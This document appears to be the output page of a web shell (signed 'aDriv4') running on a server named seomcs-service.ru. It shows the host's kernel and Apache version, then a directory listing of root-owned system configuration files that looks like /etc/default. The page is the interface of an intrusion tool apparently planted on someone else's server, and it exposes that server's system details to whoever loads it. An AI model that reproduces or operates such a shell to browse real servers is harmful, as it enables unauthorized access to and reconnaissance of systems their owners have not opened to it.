Linux seomcs-service.ru 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
127.0.0.1
Apache/2.4.52 (Ubuntu)
127.0.0.1
| Name | Type | Size | Owner/Group | Permission | Last Modified | Actions |
| . | dir | - | 0/0 | 0755 | 2026-04-29 11:10:43 | |
| .. | dir | - | 0/0 | 0755 | 2026-05-04 11:03:21 | |
| grub.d | dir | - | 0/0 | 0755 | 2022-08-25 03:25:53 | |
| amd64-microcode | text/plain | 328 B | 0/0 | 0644 | 2019-12-20 11:12:23 | |
| apache-htcacheclean | text/plain | 556 B | 0/0 | 0644 | 2022-09-07 11:07:56 | |
| apport | text/plain | 149 B | 0/0 | 0644 | 2021-10-26 01:58:44 | |
| awstats | text/plain | 787 B | 0/0 | 0644 | 2021-02-02 02:56:57 | |
| console-setup | text/plain | 285 B | 0/0 | 0644 | 2022-04-20 09:01:21 | |
| coremanager | text/plain | 268 B | 0/0 | 0644 | 2022-11-29 05:04:00 | |
| cron | text/plain | 150 B | 0/0 | 0644 | 2021-03-17 07:14:10 | |
| cryptdisks | text/plain | 460 B | 0/0 | 0644 | 2022-01-13 04:44:35 | |
| dbus | text/plain | 297 B | 0/0 | 0644 | 2021-06-28 08:15:25 | |
| dovecot | text/plain | 103 B | 0/0 | 0644 | 2021-11-17 03:32:27 | |
| exim4 | text/plain | 1014 B | 0/0 | 0644 | 2023-02-13 08:46:45 | |
| fail2ban | text/plain | 1.5 KB | 0/0 | 0644 | 2022-01-20 05:19:33 | |
| grub | text/plain | 1.2 KB | 0/0 | 0644 | 2023-06-07 05:44:38 | |
| grub.ucf-dist | text/plain | 1.17 KB | 0/0 | 0644 | 2022-08-25 03:26:28 | |
| intel-microcode | text/plain | 1 KB | 0/0 | 0644 | 2021-06-23 05:43:17 | |
| irqbalance | text/plain | 1.36 KB | 0/0 | 0644 | 2022-03-24 07:59:17 | |
| keyboard | text/plain | 150 B | 0/0 | 0644 | 2022-08-25 03:25:10 | |
| locale | text/plain | 17 B | 0/0 | 0644 | 2022-08-25 03:32:58 | |
| mdadm | text/plain | 854 B | 0/0 | 0644 | 2023-06-07 04:33:26 | |
| motd-news | text/plain | 682 B | 0/0 | 0644 | 2021-10-15 06:06:05 | |
| networkd-dispatcher | text/plain | 152 B | 0/0 | 0644 | 2021-07-12 06:56:03 | |
| networking | text/plain | 1.01 KB | 0/0 | 0644 | 2021-08-18 11:47:20 | |
| nginx | text/plain | 406 B | 0/0 | 0644 | 2023-02-13 09:01:05 | |
| ntp | text/plain | 15 B | 0/0 | 0644 | 2020-09-23 07:46:38 | |
| ntpdate | text/plain | 456 B | 0/0 | 0644 | 2021-12-08 02:42:29 | |
| open-iscsi | text/plain | 2.63 KB | 0/0 | 0644 | 2022-01-19 06:38:12 | |
| pollinate | text/plain | 298 B | 0/0 | 0644 | 2026-03-26 08:25:57 | |
| proftpd | text/plain | 173 B | 0/0 | 0644 | 2021-09-18 05:52:24 | |
| quota | text/plain | 123 B | 0/0 | 0644 | 2021-02-09 07:05:00 | |
| rsync | text/plain | 2.01 KB | 0/0 | 0644 | 2021-11-01 06:54:59 | |
| shellinabox | text/plain | 566 B | 0/0 | 0644 | 2015-07-23 10:12:50 | |
| ssh | text/plain | 133 B | 0/0 | 0644 | 2022-02-25 06:30:49 | |
| ufw | text/plain | 1.85 KB | 0/0 | 0644 | 2022-02-16 12:36:07 | |
| useradd | text/plain | 1.09 KB | 0/0 | 0644 | 2021-11-11 10:42:38 |
© aDriv4